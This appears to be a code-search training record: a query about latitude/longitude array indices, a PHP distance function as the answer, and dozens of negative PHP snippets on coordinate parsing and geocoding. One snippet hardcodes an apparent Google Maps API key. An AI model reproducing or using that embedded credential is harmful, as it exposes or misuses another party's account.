'';\r\n\t\t$user_browser = $_SERVER['HTTP_USER_AGENT']; //navegador\r\n\t\t$ip = $_SERVER['REMOTE_ADDR']; //ip\r\n\t\r\n\t\t$this->where('macro_sha', $code);\r\n\t\tif($salida = $this->getOne('solicitudes_clave')){\r\n\t\t\t\r\n\t\t\tif($salida['navegador'] != $user_browser){\t$error = 'navegador no concide';\t}\r\n\t\t\tif($salida['ip'] != $ip){\t\t\t\t\t$error = 'remote ip no concide';\t}\r\n\t\t\t\r\n\t\t\tif($error != ''){\r\n\t\t\t\t$this->rewrite_attempt($ip, $error);\r\n\t\t\t\treturn false;\r\n\t\t\t}else{\r\n\t\t\t\t$nuevo_sha = hash('sha512', $salida['email'].$user_browser.$salida['telefono'].$ip);\r\n\t\t\t\tif($nuevo_sha != $salida['macro_sha']){\r\n\t\t\t\t\t$error = 'Shas no coinciden';\r\n\t\t\t\t\t$this->rewrite_attempt($ip, $error);\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t}else{\r\n\t\t\t\t\t//succes!!\r\n\t\t\t\t\t$_SESSION['email_val'] = $salida['email'];\r\n\t\t\t\t\t$_SESSION['corrector'] = $salida['salt'];\r\n\t\t\t\t\t\r\n\t\t\t\t\treturn true;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\r\n\t\t}else{\r\n\t\t\t$error = 'no hubo conexion a db';\r\n\t\t\t$this->rewrite_attempt($ip, $error);\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}" ]
[ "0.59947467", "0.5970189", "0.56759983", "0.5612699", "0.5539542", "0.55346966", "0.54803103", "0.5475825", "0.54555166", "0.5440401", "0.5440198", "0.5416906", "0.5415136", "0.53656006", "0.53258526", "0.5294927", "0.52704793", "0.5236423", "0.5227336", "0.5224411", "0.5213661", "0.51778275", "0.5155272", "0.5150454", "0.5122865", "0.5120096", "0.5119809", "0.51183575", "0.51159626", "0.51144266", "0.5110048", "0.51056194", "0.51014304", "0.50992787", "0.50990814", "0.5091925", "0.5089859", "0.5088866", "0.5086323", "0.5078637", "0.50784695", "0.507623", "0.50671434", "0.5059181", "0.50553423", "0.5054558", "0.50491244", "0.50383705", "0.50228584", "0.501537", "0.5013468", "0.5010023", "0.5000329", "0.49941102", "0.49864393", "0.4980189", "0.49744624", "0.496945", "0.49678725", "0.49659425", "0.49612573", "0.49583918", "0.4953717", "0.49523732", "0.49322322", "0.49297804", "0.49295244", "0.4928753", "0.4926661", "0.49263605", "0.49172965", "0.49103448", "0.49036568", "0.4898808", "0.48982912", "0.48979747", "0.48936903", "0.4893048", "0.4891678", "0.4889827", "0.48896182", "0.4886286", "0.4884258", "0.48814943", "0.48768982", "0.4876416", "0.48763663", "0.48691517", "0.4869036", "0.48678368", "0.48663938", "0.4856045", "0.485459", "0.485458", "0.48523003", "0.48510298", "0.48457813", "0.48441505", "0.48425016", "0.483987", "0.48351273" ]
0.0
-1
[0] = lat [1] = lon
function getDistance2pts($coord1, $coord2){ $r = 6366; $coord1[0] = deg2rad($coord1[0]); $coord1[1] = deg2rad($coord1[1]); $coord2[0] = deg2rad($coord2[0]); $coord2[1] = deg2rad($coord2[1]); $ds= acos(sin($coord1[0])*sin($coord2[0])+cos($coord1[0])*cos($coord2[0])*cos($coord1[1]-$coord2[1])); $dpr = $ds * $r; return $dpr * 0.54; // return une distance en nm }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function make_position( $lat, $lon )\n\t{\n\t\t$latdms = geo_param::make_minsec( $lat );\n\t\t$londms = geo_param::make_minsec( $lon );\n\t\t$outlat = intval(abs($latdms['deg'])) . \"&deg;&nbsp;\";\n\t\t$outlon = intval(abs($londms['deg'])) . \"&deg;&nbsp;\";\n\t\tif ($latdms['min'] != 0 or $londms['min'] != 0\n\t\t or $latdms['sec'] != 0 or $londms['sec'] != 0) {\n\t\t\t$outlat .= intval($latdms['min']) . \"&prime;&nbsp;\";\n\t\t\t$outlon .= intval($londms['min']) . \"&prime;&nbsp;\";\n\t\t\tif ($latdms['sec'] != 0 or $londms['sec'] != 0) {\n\t\t\t\t$outlat .= $latdms['sec']. \"&Prime;&nbsp;\";\n\t\t\t\t$outlon .= $londms['sec']. \"&Prime;&nbsp;\";\n\t\t\t}\n\t\t}\n\t\treturn $outlat . $latdms['NS'] . \" \" . $outlon . $londms['EW'];\n\t}", "function get_position( )\n\t{\n\t\treturn $this->latdeg.\";\".$this->londeg;\n\t}", "private function getLongitudeLatitude(): array\n {\n $string = [];\n\n $string[] = '+---------------------------------------+';\n $string[] = sprintf('| %s |', $this->green('Longitude / Latitude'));\n $string[] = '+---------------------------------------|';\n $string[] = '| '.$this->blue('lat').' |';\n $string[] = '| |';\n $string[] = '| '.$this->blue('90° ⯅').' |';\n $string[] = '| '.$this->blue('|').' |';\n $string[] = '| '.$this->blue('|').' |';\n $string[] = '| '.$this->blue('|').' • Oslo (59.91°, 10.75°) |';\n $string[] = '| '.$this->blue('|').' • London (51.51°, -0.13°) |';\n $string[] = '| • New York (40.71°, -74.01°) |';\n $string[] = '| '.$this->blue('|').' |';\n $string[] = '| '.$this->blue('|').' |';\n $string[] = '| '.$this->blue('|').' |';\n $string[] = '| '.$this->blue('|').' • Null Island (0°, 0°) |';\n $string[] = '| '.$this->blue('⯇-------+-------------------⯈ lon').' |';\n $string[] = '| '.$this->blue('-180° | 180°').' |';\n $string[] = '| '.$this->blue('|').' |';\n $string[] = '| '.$this->blue('|').' • Cape Agulhas |';\n $string[] = '| '.$this->blue('-90° ⯆').' (-34.82°, 20.02°) |';\n $string[] = '+---------------------------------------+';\n\n return $string;\n }", "function geo_param( $param )\n\t{\n\t\t$this->pieces = explode(\" \", str_replace ( ' O' , ' E' , str_replace( '_', ' ', $param )));\n\t\t$this->get_coor( );\n\t\t\n\t\t$this->latdeg_min = $this->latdeg_max = $this->latdeg;\n\t\t$this->londeg_min = $this->londeg_max = $this->londeg;\n\t\tif ( isset( $this->pieces[0] ) && $this->pieces[0] == \"to\") {\n\t\t\tarray_shift($this->pieces);\n\t\t\t$this->get_coor();\n\t\t\tif ($this->latdeg < $this->latdeg_max) {\n\t\t\t\t$this->latdeg_min = $this->latdeg;\n\t\t\t} else {\n\t\t\t\t$this->latdeg_max = $this->latdeg;\n\t\t\t}\n\t\t\tif ($this->londeg < $this->londeg_max) {\n\t\t\t\t$this->londeg_min = $this->londeg;\n\t\t\t} else {\n\t\t\t\t$this->londeg_max = $this->londeg;\n\t\t\t}\n\t\t\t$this->latdeg = ($this->latdeg_max+$this->latdeg_min) / 2;\n\t\t\t$this->londeg = ($this->londeg_max+$this->londeg_min) / 2;\n\t\t\t$this->coor = array();\n\t\t}\n\t}", "abstract public function longitude();", "function getExtremaCoords($lat, $lon, $dist){\n if(!$lat || !$lon){\n return NULL;\n }\n\n $dist = abs($dist);\n\n $deltaLat = $dist / 111.1;\n $deltaLon = $dist / (deg2rad(1) * 6371 * cos(deg2rad($lat) )) ;\n\n return array('minLat'=>$lat - $deltaLat, 'maxLat'=>$lat + $deltaLat, 'minLon'=>$lon - $deltaLon, 'maxLon'=>$lon + $deltaLon);\n }", "public function getLatLng() {\n return $point = $this->getLat().','.$this->getLng();\n }", "function toPoint($matches)\n{\n\t$point = array();\n\t\t\t\n\t$degrees = $minutes = $seconds = 0;\t\t\n\t\t\n\tif (isset($matches['latitude_seconds']))\n\t{\n\t\t$seconds = $matches['latitude_seconds'];\n\t}\n\t$minutes = $matches['latitude_minutes'];\n\t$degrees = $matches['latitude_degrees'];\n\t\n\t$point['latitude'] = degrees2decimal($degrees, $minutes, $seconds, $matches['latitude_hemisphere']);\n\n\t$degrees = $minutes = $seconds = 0;\t\n\t\n\tif (isset($matches['longitude_seconds']))\n\t{\n\t\t$seconds = $matches['longitude_seconds'];\n\t}\n\t$minutes = $matches['longitude_minutes'];\n\t$degrees = $matches['longitude_degrees'];\n\t\n\t$point['longitude'] = degrees2decimal($degrees, $minutes, $seconds, $matches['longitude_hemisphere']);\n\n\treturn $point;\n}", "function parse_gis_location() {\n $output = $this->latitude . ';' . $this->longitude;\n if (!empty($this->radius)) {\n $output .= '!' . $this->radius;\n }\n return $output;\n }", "public function getCoordinates();", "function gps($img){\n\tglobal $argv;\n\t// hemisphere\n\tif(!isset(exif_read_data($img)[\"GPSLatitudeRef\"]) || !isset(exif_read_data($img)[\"GPSLongitudeRef\"])) die(\"Error: No GPS metadata\");\n\t$lat_ref = exif_read_data($argv[1])[\"GPSLatitudeRef\"] == \"W\" ? 1 : -1;\n\t$lon_ref = exif_read_data($argv[1])[\"GPSLongitudeRef\"] == \"S\" ? 1 : -1;\n\n\t$lat = exif_read_data($argv[1])[\"GPSLatitude\"];\n\t$lon = exif_read_data($argv[1])[\"GPSLongitude\"];\n\n\t$coords[\"lat\"] = $lat_ref * deg2dec($lat[0],$lat[1],$lat[2]);\n\t$coords[\"lon\"] = $lon_ref * deg2dec($lon[0],$lon[1],$lon[2]);\n\n\treturn $coords;\n}", "abstract public function latitude();", "public function test_make_coordinates_4()\n {\n $coord = \"52° 32' 25\\\" N; 89° 40' 31\\\" W\";\n $dd = \\SimpleMappr\\Mappr::makeCoordinates($coord);\n $this->assertEquals($dd[0], 52.540277777778);\n $this->assertEquals($dd[1], -89.675277777778);\n }", "function combineLatLng($lat, $lng) {\n return array_map(null, $lat, $lng);\n}", "public function test_make_coordinates_3()\n {\n $coord = \"52° 32' 25\\\" N, 89° 40' 31\\\" W\";\n $dd = \\SimpleMappr\\Mappr::makeCoordinates($coord);\n $this->assertEquals($dd[0], 52.540277777778);\n $this->assertEquals($dd[1], -89.675277777778);\n }", "function getAddressComponentsFromLatLng($args){\r\n\t\t$requvired = [\t['latitude','latitude'] ,['longitude','longitude'] ];\t\r\n\t\tif(! $this->checkAruguments($requvired,$args)){ return $this->_getStatusMessage(1, 1); }\r\n\t\t$lat = $args['latitude'];\r\n\t\t$lng = $args['longitude'];\r\n\t\t$geocode = file_get_contents('http://maps.googleapis.com/maps/api/geocode/json?latlng='.$lat.','.$lng.'&sensor=false');\r\n\t\t\r\n\t\t$api_response = array();\r\n\t\t$output= json_decode($geocode);\r\n\t\tfor($j=0;$j<count($output->results[0]->address_components);$j++){\r\n\t\t\t$api_response[$output->results[0]->address_components[$j]->types[0]] = $output->results[0]->address_components[$j]->long_name;\r\n\t\t}\r\n\t\t$response = array('errNum'=>200,'errFlag'=>0,'errMsg'=>'ok','data'=>$api_response);\r\n\t\t\r\n\t\treturn $response;\r\n\t}", "function _position_to_marker ($lat, $lon) {\r\n\t\t$urladd = rawurlencode($address);\r\n\t\t$url = \"http://maps.google.com/maps/api/geocode/json?latlng={$lat},{$lon}&sensor=false\";\r\n\t\t$result = wp_remote_get($url);\r\n\t\t$json = json_decode($result['body']);\r\n\r\n\t\tif (!$json) return false;\r\n\t\t$result = $json->results[0];\r\n\r\n\t\treturn array(\r\n\t\t\t'title' => $result->formatted_address,\r\n\t\t\t'body' => '',\r\n\t\t\t'icon' => 'marker.png',\r\n\t\t\t'position' => array (\r\n\t\t\t\t$result->geometry->location->lat,\r\n\t\t\t\t$result->geometry->location->lng\r\n\t\t\t),\r\n\t\t);\r\n\t}", "public function getLat();", "function lat_long_conversion_to_numbers($originalSref) {\n $splitOriginalSref = explode(' ', $originalSref);\n //if the last character of the latitude is S (south) then the latitude is negative.\n if (substr($splitOriginalSref[0], -1)==='S')\n $splitOriginalSref[0] = '-'.$splitOriginalSref[0];\n //always chop off the N or S from the end of the latitude.\n $splitOriginalSref[0] = substr_replace($splitOriginalSref[0],\"\",-1);\n //convert from string to a number for actual use.\n $convertedSref['lat'] = floatval($splitOriginalSref[0]);\n //if the last character of the latitude is W (west) then the longitude is negative.\n if (substr($splitOriginalSref[1], -1)==='W')\n $splitOriginalSref[1] = '-'.$splitOriginalSref[1];\n //always chop off the E or W from the end of the longitude.\n $splitOriginalSref[1] = substr_replace($splitOriginalSref[1],\"\",-1);\n //convert from string to a number for actual use.\n $convertedSref['long'] = floatval($splitOriginalSref[1]);\n return $convertedSref;\n }", "public function test_make_coordinates_2()\n {\n $coord = \"-120,\";\n $dd = \\SimpleMappr\\Mappr::makeCoordinates($coord);\n $this->assertEquals($dd[0], null);\n $this->assertEquals($dd[1], null);\n }", "public function userWithCoord() {\n $sql = \"select * from infos_contributeur where lat != 0 and lng != 0\";\n $result = $this->db->fetchAll($sql);\n\n return $result;\n }", "function getdirections_locations_bylatlon($fromlocs, $fromlatlon, $tolocs, $tolatlon, $width='', $height='') {\n return getdirections_locations($fromlocs, $fromlatlon, $tolocs, $tolatlon, $width, $height);\n}", "function getCoordonnees($adresse){\n $apiKey = \"000824788445984525451:fkamkqgo6se\";//Indiquez ici votre clé Google maps !\n $url = \"http://maps.google.com/maps/geo?q=\".urlencode($adresse).\"&output=csv&key=\".$apiKey;\n\n $csv = file($url);\n $donnees = explode(\",\",$csv[0]); \n\t$t = array($donnees[2],$donnees[3]);\n\t\n return $t;\n\t}", "function getCoordonnees($adresse){\n $apiKey = \"000824788445984525451:fkamkqgo6se\";//Indiquez ici votre clé Google maps !\n $url = \"http://maps.google.com/maps/geo?q=\".urlencode($adresse).\"&output=csv&key=\".$apiKey;\n\n $csv = file($url);\n $donnees = explode(\",\",$csv[0]); \n\t$t = array($donnees[2],$donnees[3]);\n\t\n return $t;\n\t}", "function getFloat()\r\n\t{\r\n\t\treturn array('lat' => $this->nLat, 'lon' => $this->nLon);\r\n\t}", "function parseCoordFromString($coord){\n $coord = trim($coord,\"[]\");\n $pieces = explode(\",\",$coord);\n $p1 = (double)$pieces[0];\n $p2 = (double)$pieces[1];\n\n return array($p1,$p2);\n\n }", "function amap_ma_get_map_default_location_coords() {\n $map_default_lat = trim(elgg_get_plugin_setting('map_default_lat', AMAP_MA_PLUGIN_ID));\n $map_default_lng = trim(elgg_get_plugin_setting('map_default_lng', AMAP_MA_PLUGIN_ID));\n\n if (empty($map_default_lat) || empty($map_default_lat))\n return AMAP_MA_CUSTOM_DEFAULT_COORDS; // set coords of Europe in case default location is not set\n else\n return $map_default_lat . ',' . $map_default_lng;\n}", "function get_coordinates($object, $field_name, $request) {\n\tglobal $wpdb;\n\t$location = $wpdb->get_row('SELECT wp_geo_mashup_locations.lat, wp_geo_mashup_locations.lng FROM wp_geo_mashup_locations INNER JOIN wp_geo_mashup_location_relationships ON wp_geo_mashup_locations.id = wp_geo_mashup_location_relationships.location_id\nWHERE wp_geo_mashup_location_relationships.object_id = ' . $object[\"id\"]);\n\tif ($location) {\n\t\treturn $location->lat . \",\" . $location->lng;\n\t} else {\n\t\treturn null;\n\t}\n}", "function getCarParkLoc($from_lat, $from_lon){\n // find the closest node_id to ($from_lat, $from_lon) on a way\n global $mysqli;\n $offset = 0.1;\n $sql = \"SELECT node_id, lat, lon, (lat-{$from_lat})*(lat-{$from_lat}) + (lon - {$from_lon})*(lon - {$from_lon}) AS x FROM osm_car_parkings\n ORDER BY x ASC LIMIT 1\";\n $arr = array();\n $result = $mysqli->query($sql);\n while($result && $row = $result->fetch_assoc()){\n $arr[] = array($row['lat'],$row['lon']);\n }\n return $arr[0];\n}", "public function getLng();", "public function coordenadasOrigen($x,$y){\r\n\t\t$this->x_punto_origen=$x;\r\n\t\t$this->y_punto_origen=$y;\r\n\t}", "public function coordenadasOrigen($x,$y){\r\n\t\t$this->x_punto_origen=$x;\r\n\t\t$this->y_punto_origen=$y;\r\n\t}", "function get_coor( ) {\n\t\tif ($i = strpos($this->pieces[0],';')) {\n\t\t\t/* two values seperated by a semicolon */\n\t\t\t$this->coor = array(\n\t\t\t\t$this->latdeg = substr($this->pieces[0],0,$i),\n\t\t\t\t$this->londeg = substr($this->pieces[0],$i+1));\n\t\t\tarray_shift($this->pieces);\n\t\t\t$latNS = 'N';\n\t\t\t$lonEW = 'E';\n\t\t\t$latmin = $lonmin = $latsec = $lonsec = 0;\n\t\t} elseif ($this->is_coor($this->pieces[1],$this->pieces[3])) {\n\t\t\t$this->coor = array(\n\t\t\t\t$this->latdeg = array_shift($this->pieces),\n\t\t\t\t$latNS = array_shift($this->pieces),\n\t\t\t\t$this->londeg = array_shift($this->pieces),\n\t\t\t\t$lonEW = array_shift($this->pieces));\n\t\t\t$latmin = $lonmin = $latsec = $lonsec = 0;\n\t\t} elseif ($this->is_coor($this->pieces[2],$this->pieces[5])) {\n\t\t\t$this->coor = array(\n\t\t\t\t$this->latdeg = array_shift($this->pieces),\n\t\t\t\t$latmin = array_shift($this->pieces),\n\t\t\t\t$latNS = array_shift($this->pieces),\n\t\t\t\t$this->londeg = array_shift($this->pieces),\n\t\t\t\t$lonmin = array_shift($this->pieces),\n\t\t\t\t$lonEW = array_shift($this->pieces));\n\t\t\t$latsec = $lonsec = 0;\n\t\t} elseif ($this->is_coor($this->pieces[3],$this->pieces[7])) {\n\t\t\t$this->coor = array(\n\t\t\t\t$this->latdeg = array_shift($this->pieces),\n\t\t\t\t$latmin = array_shift($this->pieces),\n\t\t\t\t$latsec = array_shift($this->pieces),\n\t\t\t\t$latNS = array_shift($this->pieces),\n\t\t\t\t$this->londeg = array_shift($this->pieces),\n\t\t\t\t$lonmin = array_shift($this->pieces),\n\t\t\t\t$lonsec = array_shift($this->pieces),\n\t\t\t\t$lonEW = array_shift($this->pieces));\n\t\t} else {\n\t\t\t# support decimal, signed lat, lon\n\t\t\t$this->error = \"Unrecognized format\";\n\t\t\tprint $this->error ;\n\t\t}\n\t\t\n\t\n\t\tif ($this->latdeg > 90 or $this->latdeg < -90\n\t\t or $this->londeg > 180 or $this->londeg < -180\n\t\t or $latmin > 60 or $latmin < 0\n\t\t or $lonmin > 60 or $lonmin < 0\n\t\t or $latsec > 60 or $latsec < 0\n\t\t or $lonsec > 60 or $lonsec < 0) {\n\t\t\t$this->error = \"Out of range\";\n\t\t}\n\n\t\t$latfactor = 1.0 ;\n\t\t$lonfactor = 1.0 ;\n\t\tif (strtoupper($latNS) == \"S\") {\n\t\t\t$latfactor = -1.0 ;\n\t\t\t#$this->latdeg = -$this->latdeg;\n\t\t}\n\n\t\tif (strtoupper($lonEW) == \"W\") {\n\t\t\t$lonfactor = -1.0 ;\n\t\t\t#$this->londeg = -$this->londeg;\n\t\t}\n\n\t\t# Make decimal degree, if not already\n\t\t$latmin += $latsec/60.0;\n\t\t$lonmin += $lonsec/60.0;\n\t\tif ($this->latdeg < 0) {\n\t\t\t$this->latdeg -= $latmin/60.0;\n\t\t} else {\n\t\t\t$this->latdeg += $latmin/60.0;\n\t\t}\n\t\tif ($this->londeg < 0) {\n\t\t\t$this->londeg -= $lonmin/60.0;\n\t\t} else {\n\t\t\t$this->londeg += $lonmin/60.0;\n\t\t}\n\t\t$this->latdeg *= $latfactor ;\n\t\t$this->londeg *= $lonfactor ;\n\t}", "abstract public function coordinates();", "function translateLatitude($latitude, $longitude, $meters) {\n\t\treturn array($latitude + $meters / $this -> DEGREE_LATITUDE_METERS, $longitude);\n\t}", "public function setPointCoordinates($latA, $lonA, $latB, $lonB);", "function _location($rec){\n\t\treturn array(\n\t\t\t'id' => $rec['zip'],\n\t\t\t'city' => $rec['city'],\n\t\t\t'geolocation' => sprintf('%s,%s',trim($rec['latitude']),trim($rec['longitude'])),\n\t\t\t'latitude' => $rec['latitude'],\n\t\t\t'longitude' => $rec['longitude'],\n\t\t\t'postal' => $rec['zip'],\n\t\t\t'state' => $rec['state'],\n\t\t\t'county' => $rec['county'],\n\t\t\t'country' => $rec['country'],\n\t\t);\n\t}", "public function getLongitude(): float;", "function getCoords(){\n\tglobal $conn;\n\t$numargs = func_num_args();\n\t/* all foi */\n\tif ($numargs == 0){\n\t\t$result= pg_query($conn,\"SELECT ST_X(geom), ST_Y(geom) FROM feature_of_interest\");\n\t\treturn pg_fetch_all($result);\n\t}\n\t/* one foi */\n\telse\n\t{\n\t\t$foi_id = func_get_arg(0);\n\t\t$result = pg_query($conn,\"SELECT ST_X(geom), ST_Y(geom) \n\t\t\t\tFROM feature_of_interest \n\t\t\t\tWHERE feature_of_interest_id = '$foi_id' \");\n\t\treturn pg_fetch_all($result);\n\t}\n}", "function get_latlon_ip($ip){\n\t$url = 'http://www.geoplugin.net/php.gp?ip='.$ip;\n\tif($geo = unserialize(file_get_contents($url))){\n\t\t$lat = $geo['geoplugin_latitude'];\n\t\t$lon = $geo['geoplugin_longitude'];\n\t\treturn sprintf('%s,%s',$lat,$lon);\n\t}\n\telse {\n\t\treturn false;\n\t}\n}", "public function getUserLocation() {\n if (!empty($_SERVER['HTTP_CLIENT_IP'])) {\n $ip_note = 'HTTP_CLIENT_IP='.$_SERVER['HTTP_CLIENT_IP'];\n $ip = $_SERVER['HTTP_CLIENT_IP'];\n } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {\n $ip_note = 'HTTP_X_FORWARDED_FOR='.$_SERVER['HTTP_X_FORWARDED_FOR'];\n $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];\n } else {\n $ip_note = 'REMOTE_ADDR='.$_SERVER['REMOTE_ADDR'];\n $ip = $_SERVER['REMOTE_ADDR'];\n }\n $ip = '117.20.119.245';\n $loc = file_get_contents(\"http://ipinfo.io/\".$ip.\"/loc\");\n\n if($loc) {\n $array_loc = explode(',', $loc);\n return ['lat'=> ((isset($array_loc[0]))? $array_loc[0]:'') ,'lon'=> ((isset($array_loc[1]))? $array_loc[1]:'')];\n }\n\n return ['lat'=>'','lon'=>''];\n\n }", "function getLocation();", "function fumseck_extract_exif_geocoord($meta, $file) {\n\t\t$exif = exif_read_data( $file );\n\t\tif ( $exif['GPSLatitude'] and $exif['GPSLatitudeRef'] and $exif['GPSLongitude'] and $exif['GPSLongitudeRef'] ) {\n\t\t\t\n\t\t\t// Save both DMS and DegDec values for easier access later\n\t\t\t\n\t\t\t$meta['latitude_DMS'] = array( \n\t\t\t\t'degrees' => fumseck_frac_string_to_dec($exif['GPSLatitude'][0]),\n\t\t\t\t'minutes' => fumseck_frac_string_to_dec($exif['GPSLatitude'][1]),\n\t\t\t\t'seconds' => fumseck_frac_string_to_dec($exif['GPSLatitude'][2]),\n\t\t\t\t'direction' => $exif['GPSLatitudeRef']\n\t\t\t);\n\t\t\t\n\t\t\t//// Harmonize MinDec and DMS and round the seconds\n\t\t\t\n\t\t\t$tmp_minutes = $meta['latitude_DMS']['minutes'];\n\t\t\t$meta['latitude_DMS']['minutes'] = intval($tmp_minutes);\n\t\t\t$meta['latitude_DMS']['seconds'] = intval( $meta['latitude_DMS']['seconds'] + (floatval($tmp_minutes) - intval($tmp_minutes)) * 60);\n\t\t\t\n\t\t\t//// Convert to DegDec\n\t\t\t\n\t\t\t$meta['latitude_DegDec'] = fumseck_geocoord_DMS_to_DegDec( \n\t\t\t\t$meta['latitude_DMS']['degrees'],\n\t\t\t\t$meta['latitude_DMS']['minutes'],\n\t\t\t\t$meta['latitude_DMS']['seconds'],\n\t\t\t\t$meta['latitude_DMS']['direction']\n\t\t\t);\n\t\t\t\n\t\t\t// Repeat for longitude\n\t\t\t\n\t\t\t$meta['longitude_DMS'] = array( \n\t\t\t\t'degrees' => fumseck_frac_string_to_dec($exif['GPSLongitude'][0]),\n\t\t\t\t'minutes' => fumseck_frac_string_to_dec($exif['GPSLongitude'][1]),\n\t\t\t\t'seconds' => fumseck_frac_string_to_dec($exif['GPSLongitude'][2]),\n\t\t\t\t'direction' => $exif['GPSLongitudeRef']\n\t\t\t);\n\t\t\t\n\t\t\t$tmp_minutes = $meta['longitude_DMS']['minutes'];\n\t\t\t$meta['longitude_DMS']['minutes'] = intval($tmp_minutes);\n\t\t\t$meta['longitude_DMS']['seconds'] = intval( $meta['longitude_DMS']['seconds'] + ( floatval($tmp_minutes) - intval($tmp_minutes)) * 60);\n\t\t\t\n\t\t\t$meta['longitude_DegDec'] = fumseck_geocoord_DMS_to_DegDec( \n\t\t\t\t$meta['longitude_DMS']['degrees'],\n\t\t\t\t$meta['longitude_DMS']['minutes'],\n\t\t\t\t$meta['longitude_DMS']['seconds'],\n\t\t\t\t$meta['longitude_DMS']['direction']\n\t\t\t);\n\t\t}\n\treturn $meta;\n}", "function getLocation($xml){\n\t$latitude = $xml->result->geometry->location->lat;\n $longitude = $xml->result->geometry->location->lng;\n $location = array(\"latitude\" => $latitude, \"longitude\" => $longitude);\n return ($location);\n}", "function guifi_XYZ2lonlat ( $datum, $X, $Y, $Z ) {\n $dat = guifi_get_datum($datum);\n $a = $dat[1];\n $b = $dat[2];\n $e2 = ( $a*$a - $b*$b ) / ($a*$a);\n $e2_ = ( $a*$a - $b*$b ) / ($b*$b);\n $p = sqrt( $X*$X + $Y*$Y );\n $phi = atan(($Z * $a) / ($p * $b));\n \n $lat = atan( ($Z + $e2_ * $b * sin($phi)*sin($phi)*sin($phi) ) / ($p - $e2 * $a * cos($phi)*cos($phi)*cos($phi) ) );\n $lon = atan( $Y / $X );\n $N = ( $a*$a ) / ( sqrt($a*$a * cos($lat)*cos($lat) + $b*$b * sin($lat)*sin($lat) ) );\n $h = ( $p / cos($lat) ) - $N ;\n \n $lon = rad2deg($lon);\n $lat = rad2deg($lat);\n\n return array($lon, $lat, $h);\n}", "public function serialize() {\n return array( \n 'lat' => $this->getLat(),\n 'lon' => $this->getLong()\n );\n }", "public function getCoordinate($file)\n {\n $_Metas = $this->checkGPS($file);\n $_GPS = $_Metas['GPS'];\n $latitude = $this->DMStoDEC(\n $_GPS[$this->_gpsLatitude][0],\n $_GPS[$this->_gpsLatitude][1],\n $_GPS[$this->_gpsLatitude][2],\n $_GPS[$this->_gPSLongitudeRef]\n );\n $longitude = $this->DMStoDEC(\n $_GPS[$this->_gpsLongitude][0],\n $_GPS[$this->_gpsLongitude][1],\n $_GPS[$this->_gpsLongitude][2],\n $_GPS[$this->_gpsLongitudeRef]\n );\n\n $location = array(\n 'latitude' => $latitude, \n 'longitude' => $longitude\n );\n return $location;\n }", "function getBikeParkLoc($from_lat, $from_lon){\n // find the closest node_id to ($from_lat, $from_lon) on a way\n global $mysqli;\n $offset = 0.1;\n $sql = \"SELECT node_id, lat, lon, (lat-{$from_lat})*(lat-{$from_lat}) + (lon - {$from_lon})*(lon - {$from_lon}) AS x FROM osm_bike_parkings\n ORDER BY x ASC LIMIT 1\";\n $arr = array();\n $result = $mysqli->query($sql);\n while($result && $row = $result->fetch_assoc()){\n $arr[] = array($row['lat'],$row['lon']);\n }\n return $arr[0];\n}", "function getMinMaxLatLon(){\n global $mysqli;\n $sql = \"SELECT MIN( lat ) lat_min, MAX( lat ) lat_max, MIN( lon ) lon_min, MAX( lon ) lon_max FROM `osm_nodes`\";\n $retval = $mysqli->query($sql);\n if($retval && $row = $retval->fetch_assoc()){\n return array($row['lat_min'], $row['lat_max'], $row['lon_min'], $row['lon_max']);\n }\n else{\n return null;\n }\n}", "public function getLatitude(): float;", "function location($gps){\n\tglobal $api;\n\t$lat = $gps['lat'];\n\t$lon = $gps['lon'];\n\t$endpoint = \"https://us1.locationiq.com/v1/reverse.php?key=$api&lat=$lat&lon=$lon&format=json\";\n\techo \"https://www.google.com/maps/search/?q=$lat,$lon\\n\";\n\treturn file_get_contents($endpoint);\n}", "function lat_long_conversion_to_NE($sref) {\n //convert to string so we can manipulate the grid references\n $sref['lat'] = (string)$sref['lat'];\n $sref['long'] = (string)$sref['long'];\n //if the latitude sref is negative then it is south\n if ($sref['lat'][0]==='-') {\n $sref['lat'] = $sref['lat'].'S';\n $sref['lat'] = substr($sref['lat'], 1);\n } else {\n $sref['lat'] = $sref['lat'].'N';\n }\n //if the longitude sref is negative then it is west\n if ($sref['long'][0]==='-') {\n $sref['long'] = $sref['long'].'W';\n $sref['long'] = substr($sref['long'], 1);\n } else {\n $sref['long'] = $sref['long'].'E';\n }\n $convertedSref = $sref['lat'].' '.$sref['long'];\n return $convertedSref;\n }", "function get_point_for_distance($long1,$lat1,$d,$angle){\n $R = 6378.14;\n\n # Degree to Radian\n $latitude1 = $lat1 * (M_PI/180);\n $longitude1 = $long1 * (M_PI/180);\n $brng = $angle * (M_PI/180);\n\n $latitude2 = asin(sin($latitude1)*cos($d/$R) + cos($latitude1)*sin($d/$R)*cos($brng));\n $longitude2 = $longitude1 + atan2(sin($brng)*sin($d/$R)*cos($latitude1),cos($d/$R)-sin($latitude1)*sin($latitude2));\n\n # back to degrees\n $latitude2 = $latitude2 * (180/M_PI);\n $longitude2 = $longitude2 * (180/M_PI);\n\n # 6 decimal for Leaflet and other system compatibility\n $lat2 = round ($latitude2,6);\n $long2 = round ($longitude2,6);\n\n // Push in array and get back\n $tab[0] = $long2;\n $tab[1] = $lat2;\n return $tab;\n}", "function get_lat_long($address){\r\n\t$API_KEY = 'AIzaSyC70LnMBiqyXcmpnQeryzq0VK12o6P5pnw';\r\n\t$address = str_replace(\" \", \"+\", $address);\r\n\t$url = \"https://maps.googleapis.com/maps/api/geocode/json?address=\".$address.\"&key=\".$API_KEY.\"\";\r\n\t$json = file_get_contents($url);\r\n\t$json = json_decode($json);\r\n\tif($json->status == 'ZERO_RESULTS'){\r\n\t\t$lat = 0;\r\n\t\t$long = 0; \t\r\n\t}else{\r\n\t\t$lat = $json->{'results'}[0]->{'geometry'}->{'location'}->{'lat'};\r\n\t\t$long = $json->{'results'}[0]->{'geometry'}->{'location'}->{'lng'};\t\r\n\t}\r\n\t\r\n\t$location = [$lat,$long];\r\n\treturn $location;\r\n}", "public function getLocationByCoordinates($latlng);", "public function projectPoints($pts) {\n\t\tif (preg_match('/^UTM/',$this->coordinate_type)) {\n\t\t\tforeach ($pts as $i=>$pt) {\n\t\t\t\t$latlon = $this->utm2latlon($pts[$i][0], $pts[$i][1],$this->utm_zone);\n\t\t\t\t$pts[$i] = 